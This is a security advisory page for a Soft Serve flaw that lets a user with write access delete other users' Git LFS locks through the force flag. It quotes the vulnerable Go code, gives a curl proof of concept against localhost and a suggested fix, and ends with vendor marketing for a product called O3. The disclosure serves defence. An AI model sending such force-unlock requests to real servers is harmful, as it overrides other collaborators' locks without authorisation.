GHSA-6jm8-x3g6-r33j
MEDIUMSoft Serve is missing an authorization check in LFS lock deletion
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
github.com/charmbracelet/soft-serveReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
LFS Lock Force-Delete Authorization Bypass
Summary
An authorization bypass in the LFS lock deletion endpoint allows any authenticated user with repository write access to delete locks owned by other users by setting the force flag. The vulnerable code path processes force deletions before retrieving user context, bypassing ownership validation entirely.
Severity
- CWE-863: Incorrect Authorization
- CVSS 3.1: 5.4 (Medium) —
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
Affected Code
File: pkg/web/git_lfs.go
Function: serviceLfsLocksDelete (lines 831–945)
Endpoint: POST /<repo>.git/info/lfs/locks/:lockID/unlock
The control flow processes req.Force at line 905 before retrieving user context at line 919:
// Line 905-916: Force delete executes immediately without authorization
if req.Force {
if err := datastore.DeleteLFSLock(ctx, dbx, repo.ID(), lockID); err != nil {
// ...
}
renderJSON(w, http.StatusOK, l)
return // Returns here, never reaching user validation
}
// Line 919: User context retrieved after force path has exited
user := proto.UserFromContext(ctx)
Proof of Concept
Setup: Two users with write access to the same repository—User A (lock owner) and User B (attacker).
-
User A creates a lock:
curl -X POST http://localhost:23232/repo.git/info/lfs/locks \ -H "Authorization: Basic <user_a_token>" \ -H "Content-Type: application/vnd.git-lfs+json" \ -d '{"path": "protected-file.bin"}' -
User B deletes User A's lock using force flag:
curl -X POST http://localhost:23232/repo.git/info/lfs/locks/1/unlock \ -H "Authorization: Basic <user_b_token>" \ -H "Content-Type: application/vnd.git-lfs+json" \ -d '{"force": true}' -
Result: Lock deleted successfully with
200 OK. Expected:403 Forbidden.
Suggested Fix
Retrieve user context and validate authorization before processing the force flag:
user := proto.UserFromContext(ctx)
if user == nil {
renderJSON(w, http.StatusUnauthorized, lfs.ErrorResponse{
Message: "unauthorized",
})
return
}
if req.Force {
if !user.IsAdmin() {
renderJSON(w, http.StatusForbidden, lfs.ErrorResponse{
Message: "admin access required for force delete",
})
return
}
if err := datastore.DeleteLFSLock(ctx, dbx, repo.ID(), lockID); err != nil {
// ...
}
renderJSON(w, http.StatusOK, l)
return
}
Impact
Affected Deployments: Soft Serve instances with LFS enabled and repositories with multiple collaborators.
Exploitation Requirements:
- Authenticated session
- Write access to target repository
Consequences:
- Unauthorized deletion of other users' locks
- Bypass of LFS file coordination mechanisms
- Potential workflow disruption in collaborative environments
Limitations: Does not grant file access, escalate repository permissions, or affect repositories where the attacker lacks write access.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/charmbracelet/soft-serve | all versions | 0.11.2 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/charmbracelet/soft-serve. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/charmbracelet/soft-serve to 0.11.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-6jm8-x3g6-r33j is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-6jm8-x3g6-r33j is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-6jm8-x3g6-r33j. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-6jm8-x3g6-r33j in your dependencies?
O3 detects GHSA-6jm8-x3g6-r33j across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.